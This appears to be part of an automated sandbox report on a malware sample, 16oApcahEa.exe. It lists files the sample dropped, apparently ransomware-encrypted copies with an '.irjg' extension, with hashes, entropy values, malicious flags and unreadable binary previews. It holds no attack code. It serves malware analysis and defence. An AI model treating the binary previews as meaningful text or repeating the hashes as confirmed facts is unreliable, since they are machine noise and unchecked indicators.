SHA-256:	CA3438AFED47F3A8E8CEE438FC1738D51D12CBD8B3054B2DAFFE593D41EA0E2A
SHA-512:	799D8B8BDC68DD1D11F6425274E3428DB3B15149E22741F41FE61D5EEFAA4D239C1763355F4E37D6186750A7AB25E01F163B670C583CBF7A933244D43CD183FE
Malicious:	false
Preview:	3.7.4R...tOV....k.."...B1y..&...7.d f.$e.w.....).....vB.n8i.1.&.........SL.m.8....j...kj....xg.D..y.S.....M....YZ.!..76.D".Z\R...j.4.[{.#...I..v.p.b....j.......F.i5t.a.&..O;m...[.?......I%...0j..Dw.g+0....7.........,^T..b..7.W`.FS..t.ig.]S...=.'ZF7..C......:.".d..@...L..\.(V..ac........R..R....a'n..H.td..p.....j..]p}S.c..5C.t.n`.W..._<..M...L.~.6m(..2.;;.d..\.e.U;..UE.%unp...#"M..(I%..2.~...'..j..[.q...N]y.@...D....[.~.. =.E..kh..#.Y.......~.3.O...Nm.Ws......S0.i..F{%....J.P#..z.....y......l...4l..V..+fG..v..wK...gg.~ $....K2.tYkG.........sJ8.,.X.k..s..G.<.O....G....g[A..W.MeoX...r..)w..B.5....'......9jt.c..p....f.r...4..s...>%..i..`...........%/2.ut..zC}(.....$.>.-.R.ALcR.7L<g8.e.....@.w....G.:...~.....W....e.e.G........U.....I.:.(~.V0Tz..0.x...o....s..`..aUm......j.:....6Rq.X]..!(..J..q.A.e.Hm.:....s..[....9~Cv:....j.Q.o...V.2.....\|O...\|.pW....k...p..1c..9..rC[.g..N.zN323.ro%Q..%.....X.[....V[...R7.....M)...0..1J....#.9.

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9919772057819705
Encrypted:	true
SSDEEP:	768:a9W0P7FDoSmmf/HTZpbq7rWFuZR43VC2j:8W0BDtbZpbq7rsu74lLj
MD5:	5DED35301A79234CBF4385C815D4FFEC
SHA1:	12C5231F71AC805149871BBE90C8B29912E5E76D
SHA-256:	F1703C3F8AF8AD18EE4FCFF4E6F0A4C55DF14DDA29DB64ADA8A61F13CBF4B108
SHA-512:	DD7961F5F7DC14B1DC10865090621988172AE11A6C105048D661A90A7AB6CC186321B3FAF42BC07FB7A43D33AF261AC543A9B044492C955994DB20FC729AB54B
Malicious:	true
Preview:	SQLit..pV&[.C.D..[......A5...D...t....Wt. ;,q...\|..zS~7.G../..H..?.E..p.m....-..mt0WR..2.e.]..........K.LV[..fBE.%...n.....84... l....J.......:X....q........6W.ma_?.........2=0.p.J..w..i.......d"7%^.9.{.D.:...c.B.~....J!.&Xb.-oQ...aa.........._0...#...,...M!@.A...4].o....Uyg.{.1.........b.m...L...(s~U..7.I..o....(1.]{..~T!.y[...,oFcP.W61)..Ia.ceo.(.i.....(W.....$...%.&....I...x+.B..Z2...&.-...7.m..3.3/...m]b.RxF.W..2f.eV....e.C...~%.W).O..[T;O..a.K..@..#k...h....G.......".l....s.J.G:.U9]..q._....H....d,#V.6xPk..T....pb.C.i..d.v.?.....ed.?..m....].m.9.p.._.1T]C..zW7jS/....LM.(6h9.......n]w3..b.QWW.m.y....x...WVf.U...X..&.=e....c....>.xH}.n.....(^U\|VJW{...i..$.)......$.14{j>e...C..3U..u.s...5..PA.{..HT.......2..+../....[.!.[..=...6.~..CT.X..Y4Z...6.A=.Rs..+>.".x^%.).q.....\|b6.8#.ke..R.\..Y.......>h.U;u.2A.\|...g..8.....^Gc.MU]..6p."..)F..&.........q.@..p..`.....)....a.to..a.>..9..'EX...dS..g.....R.....'.e.4.8..".Lu\|.....j....v..

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992877218013035
Encrypted:	true
SSDEEP:	384:0CcqBn/UJYakA9ntVVR4frt9rkKgJtHa6/0xwitrpHLZ5W78q1T:0CcqBnuVFtHa/oJ5ae3e9t5/qZ
MD5:	ECD708A3E4CF0381509E4C9A60963F76
SHA1:	678F57D5BE4D6EB2B906DF314AA05D3B6A276D09
SHA-256:	28C9EEAE1084322871B057FE42D2353A79DE1368189ECE8C803F3A543EE0E2C5
SHA-512:	62B081BFC959223B93EC723F4F3FC42F6DD43FCF93981AFCB3B3DADB72806F4BF634E6087AE262F35CE908C34E50DDCD9F104E15D14F7AADFA8577846563CC63
Malicious:	true
Preview:	SQLit..)..h..h......e_L..O......h..O^........z(.^j..2.a$jL....D....nge-.H{i....?M..\.,{.9....Y..4.QR.,..Q"S....w25.7t2. ...l.. <..Fw..q.."9....e.V.U..M@....(1vH..P!..4oy...2.....4.`\.G.BhpO.;.....A.i......=.i...M.....!.DV.+:.5.!...k.&.P.......eW.I.....E+nu../.j..5.z.P.!O..C...Po.S`.3....Y.l$o...M1...hI.....5..*..;....k..Ze.d.Z..ZN.S{RS....E.A...).%.b...>.J.........Q...&...v.]..E..>..8TO.Z..J.c.M"?....N......./..3"cY.w..N.}z./..)...}.:...<..97.A...=...E?%.......U..J. .AJ.....i....L.?.) ....&u.\|.r..e..\....c.=:'X5D.".s.......4M.....Y.p.V.(.jq.4....o_......\]..k...K...V..:.......B.L..>i....-\|C.V...A.G(..K.....B.N...{._%.{?Bx..,.Od..o..5...we.,..+...r#oA.....C.......Q...FX.N.&'.s..d.!I.2j?H.....E.En..`..-..#.E....&.0SH]@..L.<.N....X......k`...#.($.1.I.6....M.........1\...Y.!...Ed._..!x.9...<.Z....,......n4....O....]."^....O......./c.j...S7...B.4.~...O.O......a.... C..4k...u.ztF._......!.>.......1...Y.~.rUO../..M..{.p.2\..H..C.._..;.`...:

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993945390672127
Encrypted:	true
SSDEEP:	384:SWLJ82PXomPSD1rm8SBuAhaC0dinYquUm3ZCJrAbp3Jb2yun9E9FzIsm7oM+qK:SWLa2gLrXSXOinYqu3Zz5yn9E5qK
MD5:	BE123A4459494F8F2ED8D788DA0C6B8D
SHA1:	23B99710DC12BA43BB98360CC1960F94A14BEC3C
SHA-256:	88FAFDFD2EEF0BC8F9A5B7E5C2F0B28325B52656F7F37D072E66BBD5A1B74CB7
SHA-512:	C2A3BED0C5C5880B8D50268D8C5DC954852035BAF73A6A6F703ADDB2BC50E6D5C511785EECEEDB87C117B2E4121B477F63868F69E9DF484F6FEAC826E8A834E2
Malicious:	true
Preview:	SQLit.Mo.'z.!!...VzT?.U.hO.G./.}.@...)>.m .[....M...Oxy...............g...H.K...wy[..6....F}~..%..<.).....,-F.......-....nA.l.P....71..,.pW:..."9M..8.\|).H...Q...J.Uw'...t7...%\|...+`.\...<E........F...R.d?/sm@P`...-..B..8.i....I.`rVq.w"1.xwK{. "...k55g.[l.....J..X?7s.1C.5R-td.c.....B\|.3..6;~.L.eFL..F.1..v..v.d....tu.J..Va..^....U........{V.gLP.?"..z@]..,d.d..Mq........>....y.8.%2...G\|..3.60.RR...O_..8j..t0.>.?.........T=..l".G..K......w.Q.`....f..h.b.2&v..G.........^...\|l...Ba#;....!^.g...Z.....8Ogf].V.}qy.J....R..2.lq!C..*.....t..p."q..}.s.OA...k>...-..g.....'......4U&%r....pE....I=.....A.[..Q...r..U.G7g..q....z..}T.....r..n.L.j.%O..FuU:.@....+2g.....8.D.5?Y..r%.R...."...>y....N..!"T=.{.... .<OV....G>....}x.&......39.J.r....@.W....%..>Y....)-.v...S.N.r5#.........6.@.}...%.xKB.[...&.y.O.....zc.&.>...~....<.h.e...J.!..mk..[..`....u.`..V..U.3..%.F.~..e...'Qy.2.....X.N..sW.F........?....}....$.M).....6.. o...L.....X2m~#.64.............

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992806930840939
Encrypted:	true
SSDEEP:	384:FZSsmra0+YhyrnZJbQGRN6CU8+opOioIZmSfL5RT8vLTV8vJs0ka0GmH:jmrUxnZVN6p8+oUioYDmJMi010xH
MD5:	DB9C17F211A80F0AD7C37F990DE33AFE
SHA1:	6FA4CB8BE84BC52BC195B3D0E24A0F0EA4B93D5A
SHA-256:	194B42C7846A1904DDA103A67D3F3EB70C2F890CB65AECD6065488AE3D3BA71F
SHA-512:	E6DFE3C646D8DE4DA47B6D24133D5D2A941724C22AEE3E4557305E66D5BC122494E3E8C964076EB823B240E7194C527CCC70BF0A009CE1CB568592F0F0336A24
Malicious:	true
Preview:	SQLitb..[.G.o.6....m.O..w}...~.F....:Y1...B...J...p...$....=....'....Z.?....n......t..(?...u.v.!...%......8Y~y..K8.......G...UV..,.K.u.a.r+U..&qQ.Iug.u..eq......M.hj\.mt..a..B...Y"....j4:$&..w...M..-....`...~V<^...:...Up......z#X.`.....Nm\......j]......m.n.I....$.W..(.kd........@.6n.}E....z.%m.p@L.\...h<.........{..-3.b..Z..f..s.s=H..1..T(....y.. $...K:.#.E..>.]L.m.....$...U..W.o.......K.l&.N.!8..H.xp..D.d...w5....`..C7X....?<..-.P.\..$..@....2....u$.I....R.].;>..."f.1.c..s.VcJ./}Y.......?8...>{.[K.>.j...Y....j3f...e3..9.NJ.cae...1..........:.E............~...'...V...znk.q(C[...._..E..D9..u...!y^....XE..nX......CM.k.....t8....^..EO?..'.v;...oY....^h\|...~...m..[o.Dy.....<.b......Zs.CX....8.7..y..D..'.:.r.{U...U...u..-.YG.....[...XDS.~e.p.{V.{;.9P<.@.@..;\7..\..n.\....k.._.h......%.-..y......zc,(......).xT...T+....3....D.Hk.7....r... .......E...G.s].Tc.m)..<..T.n{.g..P.P.t........0...q.XI........s....3\>2b4...=jWo..s'...m..wS.L.....

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.92784273693563
Encrypted:	false
SSDEEP:	48:pm5sYZIqg/sEK3Jl8vzVbXXjlxmivfp9x+Yii9Y0iLoz6sGqqgukpZ+JD:hgg/sxD8LVbDlxrmIcLoz6sGqq5kc
MD5:	138404DC1E3DCB1EE71A5153956EA278
SHA1:	4760F41F3B76A82825E83A69E50CDCE86590B412
SHA-256:	70E6A7C76408FFBC68360B9CF2755CA7767A885F81A454E2ABCAD9EDE575BFBB
SHA-512:	891E7A0DD7D632E0FAE11B1D1BBBC3A53482CB8DD42F4E2F4F13E52A5C2C2148510F473C5406A6F516A675606BDC26B29E4BE65B3D4562FC083A7A8C5ABA8E21
Malicious:	false
Preview:	{.".T...2W. .......#P.A7&>.fx.F..6e..gez....0....V.")9..T......8..I.,.V....:B...Y..-.......I.gq9..D./..H?G...#...z!.U...zy.5Z.K#.i....'.INz.,....@c.3..Y.6..P#?.?.S.D.(!....k.<4.)D.h.u.&.AD j.0...9`......g.v...J.,f..@.`.Q....<W......(.q...z...;K......8w#..'"o'.;..._...\=ZPe..........o...E..H".GY..hY.......j....xR!MZ7.R..W.H...../..s.......z......:.^\..]..........m7c..mz.."...MA..a..;.L...\...a.B6..;.Iz.V.Hf...@...-.n....5.T.....1\|[c=A@..p.&............F..F...:...Z.1"....:@]/..N.."....7(..B.}.k"...A.QNal..o..R.P....m.1T.om`or.:5....'..B..L..(n.i..;..1;:.5v..v.c.!..PXS1..to\....U..M..B...Fl.?`...nH...."e.&.....9e!...X..n...FIz.UI....FP:.....~.m.l(.,...k.8Z..A....3..50..L......$..gS...#Cm.1..z...P3...aX.....u[.. .<.....l.S..+..........b...%.....=-..p,.-......J.#il".4h.^..0F*L...@...P}\....w"..b.K.D"...}.k..Q5r_EFV.'".A......P...:/.Q.K<..6b...........HE}..j(.z3~.z.3...C...}..L........QK.+..O..u0.7.9....V.z]._......?.........[.} YZ?..

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.921145849414748
Encrypted:	false
SSDEEP:	48:L37F9SM7LJdc5wB16jMpM4TZ5/Q+Hv3kZYQbJ6sNIBRfMQ12O2ZPfRqaQxo+z9Zh:r7FAM7tdcOB16zYZ5/mZYqJ6YIBeqF2Y
MD5:	EF21814E205371E3A491BDB594BC9B3B
SHA1:	7F679CF9C04051592B349633C39F55D9C27F8672
SHA-256:	50AF399E83636FABA5ED0940D0967286A9831696E9B3D988388A43B7BAFB9664
SHA-512:	099935C28AD7617739B76BD0B6B5CD9EC71398D8A7A6726AD0F3502C13B454C181E01DA00DCB44B1E4A64BEBA1C2CD6DBD11216D9A091D21645334E949DA34E4
Malicious:	false
Preview:	{.".TG......2..9.JI1U.(..7)o..l..\...;...KA....jx..VyLrj`.[....\|.0".e...bR.=$..}&....,..'>n.6......p.R...?.. ..<...}-8.CJ.t..B.A.%.m..0.'k..q.)..M/.&....m.XS..8;.zq...,.....QC..H-.5.u.....].B....~....."t........q.m.........9;.\|.AQ... .....'z\|..=Z.+..hTh......H_K.....I.d.K....._.h/l.;Ht..[..}.[#.:.F..).K.....Z<Q$dT....Q......E..R....eO...JZxM.v=.do.........x..........^.BK/.>..hz.......h...vT[....7.y...A.........I.J......j...dp...../{.qZ...Vu..CK]M6....Z.}..D.0..^.....0.\|.:.b S.o..%......'I...@..].D....6c.).6......u$>Ef..S.....9j...%r......R......A..p#+.S.LK....&5.......E...1.....X<.&[;.A.i....O...a..U....[.......&.......f\|.F.70a.I..}i.).^.9.....m'...9...Hm.k..<n......?..W..b.23K..i...6T.b..=.!....r.b.......&.29f.j..3kD......n3...OS..X...C.e...=....5b.....3\...^..h.7".+!-.8.....OWHZ....h..~......k..YU.:(Q...]Q....m.t.hB..Zo ..'..Z..%...G\|..(.Z>..S.....-.Zf.\|.{..7}#.`(..S...{.g..G.W..,m.$r......>.Q..<.......'.CMN....

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.938302217597667
Encrypted:	false
SSDEEP:	48:a5MW7mnf9/2fOKV+kRG37+1zGX6EJPMxbeycHs31f8i47SKc2W6CtWed4AUC4QNf:sanf9/2fORkRC27EJ0xbey0suHSKc2Wx
MD5:	8C68139E10BE3F1252E40177A78C1CF6
SHA1:	8D43A34D6F55F7F870C59FA03A504561369D398F
SHA-256:	7A568B397B593AA4F5ED0B775E3E88922061313639F1110D64DFF52670CA95FF
SHA-512:	1F3BF3503D9B2E0F4B8510FDB77D7D51CB35CC2C4CCD5896F72935804BA606C3AB38231038A5C320118A927C34B46B9154B06F38C5F56050D95F57027D3A58A3
Malicious:	false
Preview:	{.".T.A.X>D;.3..nd.J.'t.$jL...sD-.........Q.?.r...L.o...2Vs/'.iH.t.....f.#i.-#.fJi-P..I.g..+9..c.....^.L..3L.d..i:.....$K...c>.0:.T.$..4{.[M.........ek........@.;9..}:..R.....r..]..=......?..D......N).t.....L+,Ii.....D.f.m.....!..5.4...x(.B...!......X...2...R..R..^k.m...\|!...........P"r.F.kd..B.6....6.&[.E......KR.eHUu.....v+....w.......]a0..<..s".<_..F.G).G_.{..\..Z..2[....!.....U.......5..#r.....y.6..eV.~j.\..o..b..Oo........./......r.\.,M........R.i2...8iA8....l....+...:PL.3..U.u....ur.....{..~.j)l.mF&...8..kJ.LC.5.%..,....f..c..zk...G\|\|.[?..s.!..)_....HO..;.... .....-PpWX8}K.f.%;..z.G.&;x..t..\A.......pF.U=. q.=.R.w$...G....p..ye].d..7B...+a.D\......\.(.P.@..4.j....S;4.b.....f.....1!.3..x...+.....6.Y.M=.......c..dx..c.G.....$N..dQ(.B..Nw..8..bV./yX..UdA...u^......{'...y.5...C.....o.x.v..;.Su6B....WY...Ru.k.V.,...0.\|....f.....H.+..I.yN[)..PE...l..(.<K.,4E..)..Tg.w.P..e.7Z...N....K.Q.Ji0.....uN.....z.'v...K...i.X."2

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.919483452009586
Encrypted:	false
SSDEEP:	48:NnqsEljalj2brZp1Tuqo6zaDcr6RbF2T8VVGyUXdGAlMP6zQp3rfgJD:NSoGZvTuqnzYcmRUTyGKP6Y7fy
MD5:	D5F3874AC832A3CCF130EC04761B662C
SHA1:	815D733DA9F987FF7DAE263BAC52F478436F0754
SHA-256:	9CA9B17C7E6FBE95EC88EEDE1E5F520467FD8007AD99FF00B63BD4EA80E3476B
SHA-512:	859C1C7531FAE32734D45DA91E12BFBDEC14C2A82A4047F1D8D2F56EB04C882AEE2002DACDD2927644EB0A494ADD0595D1B3DB2BBE6BE7127618473DF31D0ED9
Malicious:	false
Preview:	{.".TV71.sN0...YfQF...R..jU..D+.sn+.....gI^3... {....W...1P......b.....[H....4V...y.zY.vJ._O3.% e..r.1.........v...C].o.q......P._."Z.pq..x...........0..M6..,.gx........:...$U..s.....;T...u..1.+\|%..............e..=F'D.mp......dx;a<F{.v.B.T.T..P...I..S....&../ s.."... yU,..*MK.......\|.ez.].!..Y..<Kz....y)..3c...`Bb...!`Iq.z..g.....~..z}.....@..i0j...&a.D.L..j..{y].+..%.mR!b.........1#6.(...`.f.pR_...D.._..-..#f..4\|#.Y..^......R......nR$_;._...ob......t.EF9.....}.v%H{."X...Hg.N.9].O.r....-.Hw....t..N..n.#m...O..^.q@{0:.w.'..C.Ix(5.......&.W.30dvm .{+!...b\x.T.5....W.B.....B...e....>C.H..:.t....j.T....).'&.G...`.y............&.yOb...`.(.]..)z.p...K.v\|.1v..h..)...K..AhwE..wSn(.xe#3..}gb.x..:...0....c.ae'.c.TK..).%...G.>...@..(.(A#..s.m..C...3..&..j...}c..F.W0.^1cP.E.....o......W.cv{..0....If9...ve\...Zx/.....i........t...+.H....M@.c....l9...vx.r..ka.,.O)y..q.<.....?.!.Y..=U.;i=..&.HM.7.f.mF..:t..o"..u$hn....Crks...#\|%..f.u...Hs.B.7.(.~.".)

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.965241026533866
Encrypted:	false
SSDEEP:	96:6E45cpZCb+lUPGKFcDx4QcbwGAhHDS1ksKIJcfzht2NZp5:6E6cwWUPKRcdkH3SsAB
MD5:	4A288963AFF69914AEA832EF35BF50D2
SHA1:	5125834E703BDFDC389E4B4DD95BAB0065E1FF7C
SHA-256:	8C36EDA43E317B53C6A8E7E263615F8A1E49F0D84B22FAD6F398C4705416CFFE
SHA-512:	E0B91B891C9BF89492F7A473A9356E2C5E4A7DD31A1769101640906E39C8ADB779A2FB3BF097459DDDAB067AAC7403B7D3941A411EA4309EDC57DB95581EC98B
Malicious:	false
Preview:	{.".T...KeO\..#..6.:..f<C.vn...:....s....,.e...2.....z.....3....9rG...m..%6..O......6..-GH..f.....E>......l&..^d..?......{/,c..F&IQ.J.5..<...dbr.....[...a.....ne..@....._G6)}._.&i......%.........Op..\|....].4.:1.A.jL....,..^7(n;...G7.o.H.7..Z..6`}nU...&.&.g\\|.Z,...O..1_.9.Y..'.D.z.K...}p{...5uL..d...{B9...} ...DH..K(...F.C...?82M~.Q...?............fW...hY?.Z..b.Mf..d.?..:.9..]T......8S.....&..Or....n..,..6.~.^V..e..k.W...\|..]...?..m...O^..<.....J@a...+x.>.\...:..@E>.....o.......;2 >..+A;h!..v.c&.3..t...F7..'..J,.s..2....1..C..C...+ z..-.Y..n`9w.....h.H....2...y.....e.O.M...9[.v.E-..G..L.)nV....]M..=..o6t;JB.;....%..(....%...Pi.L..{...n....6!`.....\.t...M..g<.E..m..{....j$.h4.....T.`&I.j..9.\|..`..R....ezT.^..Y_..l.Zv%..M)z.GE..z.=.Q.X...8...Hy-.o.F...z...j.l...x..r..aq....1>8{>.b7.~"......8.i.....'d~J...r&>...y.{oc._\|?u....V...G.i..k.......T}EZ2(r...Nv.H.#...$~..a...f.h:.........e.am@v......3<eI......X.....M3*...K!$.3._.....P.v....R.C@

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.928732332819234
Encrypted:	false
SSDEEP:	48:pkACLMZ1+Tt8fcs6o6w7wdRQSjazf/GYYkiSJZlZYpTkBlUkXF+wduMyE+ZXJD:pkAnITtbwwdRQ26f/GYYkBJZrYpT5kXy
MD5:	D266ED11FA0159D224EAD2A3708F8478
SHA1:	3EDCC68EDF9F09DAD68FF77EEA425FE9AE5C320A
SHA-256:	2FCBE869FB6CA995D5933FFC8C5B0D82E6755CDD975C7FF4E525DAB1F9D2C9CC
SHA-512:	59CD070B513A1BF65975A91DFC62020079C18EACA1690865000B7A643D1248BAF9472156B62889A3BAD8FBBAE3699F4C9FA7E208E32A9A86E3E5677ADBBBD4EE
Malicious:	false
Preview:	{.".T...\..... vr.j.....`.G..y...G.U....$.C....d....^...+[..y.Ly.t.x.)^L....ZOHh....[..kYN.'7.._...Y'.EW..6.<W.,..,;..E?s...O...ao...".bm;=;..- .KT.../.V....l\|%......K....g.' 6..1..@......c..8h.L..4.D+.......P!........g..;S0H....+.P$....S...'(...dl8J:z%...^..q.R.C..G..h.@.`......n.0.:.2.7-y.S)..>...l.4.w.j(d........1v..'....g8..&.C....RE.....n..g...S.4..d.8..5...k..La...m.i.!l.....K...C.; f...D."9%K...;}l.k..`y..&.5.a..&/............M.w).%....q.30........OE....>.b..5.....3?Q..C.$..kF0$2..._..}.4.....p/..S?...2SZ.U6.={...1..>.`......1..............j..di....x.m.~..eoh=..z.J...qS..8....W.".@.v.%.......M[.$..0.1.......<.Uo_..."...yJ`...h.k....L.......4t4.....w.".t~.P..@......0....P.@..Yc.m..i...m_}.~$....i._.........!..I.=.}..Q..k..Zc!..G..7..u1.<...a}N..@0;_..u.......lC...l....Z.)%:BT.j.58..D@.r.%....k.5.9.SV... ....^:g.O^.s..x..q.k...r>=....^...K...^{.........%.o..Tf...ob.....].^....@.Q.......Y.bD%..q..nM.J.{..d.....9.}.bR.+]au...@

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.930017440507886
Encrypted:	false
SSDEEP:	48:vTB5SYTZYJ/ElOflryCB4hAqcp0mm4c/uvoi4MHqMtYohqXk1LfMJD:LSEYZEodrOG0mlc/Coi3KKYq7d2
MD5:	48600FD98215BD8414236F6CCB2E7BA4
SHA1:	B01BFA4F671F60D15982CB1723B0A1DA0963D5A1
SHA-256:	765F84E6567F087D2A3417BE1166D170F9C95D0CF931ED89148C795782EB335F
SHA-512:	A7D9F793958163832C975C46F154726B775BB4AC5E20479D909AE277FED0B0F602C2388AD76999F2521A3584083D81F04D9E43D9D222B0A3564FF2F7885BCA9F
Malicious:	false
Preview:	{.".T.@%..PT)4.l.o%..P.<c.. .2..g..A...t.....1.#..2....[+.K.Y....Q...../-..y.v.L,.O..E..].l+/M..a.X8v..V..ZY[$G..e.]..P.<vt..D.D.G53..'q!.<.....Qsl.u.B....\...mO..q..c.0z\|....Tn.Y....%...S..=;^...$.9..\|. 0.k.{. .hL^/D.....o@.......S...I.b..d%.^!- ..\|......Q........`~...8%]%"..-.p..!.sS...K.o...;..Hk....+..d#.5Dk...4.g....6g...o.....kw..V...[Tc...1=.4...8T...G~g...U.~a..O..q....@G...m..L..0..j......"....u...a..`......}..a._%5..?K..z.g...l>.Y.O..-T0..kQ.=.M,.y.....2<B..V.$....-w.m..v.!.w.Q.,}.A....-.%....l...?3O\|..m.<.(...?........p.N....6.!v......dB.W=.DR/....W1.s..@..P.~.z.S-....+.9Q.......tg...V..@b_.:...z. K..O@r...}....6..:...n}$.}3d7..L.h@...."...<#..b2...'..kYg#.M.&..7.....1.p.'9..x..5..:...Ji ....OR..%.R.]7r.VK..o.......5$'.......$;.`._..+...IZ..$..yrwvRD}2#.....16h{B..X.6.....b..z...Y..F....7.y.4\|w[....#.k.-...b..&J......PG..M!.^i...9WdW.d...x<;..[.+;C.....%,.....)$.,I..'..s.......i.d.X.....]...T.....j.!....k..X..m..MX.0...

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.704442568292003
Encrypted:	false
SSDEEP:	24:FJYuUx77nomjOpTSMbAkejyZFN2VRZS9pbD:ApxbHOpT8fyZD21UJD
MD5:	510A5EC068314CB8654C8A78C47E8ABE
SHA1:	0C63ED2D746B73F2EABCD0148C6778BB48909782
SHA-256:	507988A393774FB9BFCFC1BB0C429A067D1903446BA1E48E4E2E5EE9A94C4002
SHA-512:	B414025950B0838210E8B886B9AED6199BBD60E66528571CCC8F68FDD69FE9CDAE2CFB4875E417349E16E04999F21BF3919EF1A8FA2FC88B3CA063739AC92E5B
Malicious:	false
Preview:	....Bdf.R.A..I.\|.,.....z.YS..n..n..G.V]rM..2.....%..J....g..jlW).....09Hh.i...NG? ...R.nY....2..^....g...a..LI..i.`..Q/@n5f.t.}M...P.'..p.l..M...@F.....}t`..ZG....z...btV....._<..F.B....1..\|...~.qx/.\..pEEr._7...\|d.;..i.d`>A........u(3..w...TZO..6..y~...9......g..hFQ$.0.7q.'S...z5.......V.bD..EB....N.....p.k.W;....w....3...... D:..E.0.u ...3t>.;\..O&==6..68..&.L'%.k.Jc4.d}...k..XEa...8.m.g.....N....9h....CxU...n+.....0........{.P.E..nD.P..L.vg..&..Z..<e..Q...Wa.{.:d.)Q.9..(.A-..8l.,.(...i...A5.2...]......7..0./.....-....U..1!+.y.'Xb.....C...@..Y .......b54.H.l.)..)4..1...8z.@O...O..?.P.p.!.mf.d..+.....A<..k.......M.GL....A.ViF...:..A.x.....*HGl..a.D....SxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.332574374709394
Encrypted:	false
SSDEEP:	6144:hMEsmH4ZNwhBWoAs90n32TiIxXbfm+vyJfbnQkK96B88yKv4bWTmTvEiLSZ:bsmYZKhdA0032mmbfm+6dF4/e
MD5:	111E5BD344540E98E29CB4BD94E46517
SHA1:	6AE8AFD022910E8E9D5D2B1A83A442C58AAFA815
SHA-256:	2A88A1A9540A5B0E2AC9BFB413699EBB1CBC3F35C171273A11A8EAAE2D9B1F7D
SHA-512:	EEF742536373E300D9124CBF62AF7DFC9D312AD2CB76DF545E690AECD9B4762E38A19DE05242BCEDA879ABA8A2F182EAC9DC8CBCEBD8400988D4B7A7AAFC9643
Malicious:	false
Preview:	...P......./....N....x....b.;S!=..?.z`...M....".....5......J.aX\I.F\\|#..{j..>R..wZ}o..3..7.}.C&'..).......z.<..........P.w...F...d......#.@G.....@&....v....r..ba....'....x((.$-;.YG.$.l..gt.8...2D..y1..8..MO.........3...5xi6.]A....hN..k#4u....4...L.....X..eK..&y'...rjt.........l_....l./z'.V.T.oOJ7.M..&\|/....H.*./..9..\...... ,.....8@.@.TX%1..2.\|R.`b1L.5..ga....v.....q..$....B.w..lcL....5s..N$..b.5\..-9R...p.s/@$.m....w!..q....-..>=.T0..._.u.m.:.....R.T^..:...I2.^Mx...P...(.[6m...03=..R$.-....L.E..i.....3..Lk....+..=.&..(...Ti.........Y$ ......bx.1.J..0..N.; &....(.<...t....1.c...=F.........e..!..W....b._...s..`..J...n....l...........)......Y9.....bg..B..C`.h.8@..C.)x.....U.md..g...q[....jC.#..B.....L..'I.9e3.?...D...d.`.u..[.x..q..(.O\.$.Z......&1.a....k.'..[.r.Rd.;.VkF..".....D..77....jy......F.-...O...X4.^..,V`?....j..#O.]>.6.P..gp.o..P.....N.#l..E....g].{m.T{...b....~..@D....=v,.0..Ya.l_......W...-.\.....$).b.>.L=.G....f..n.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.986474334064205
Encrypted:	false
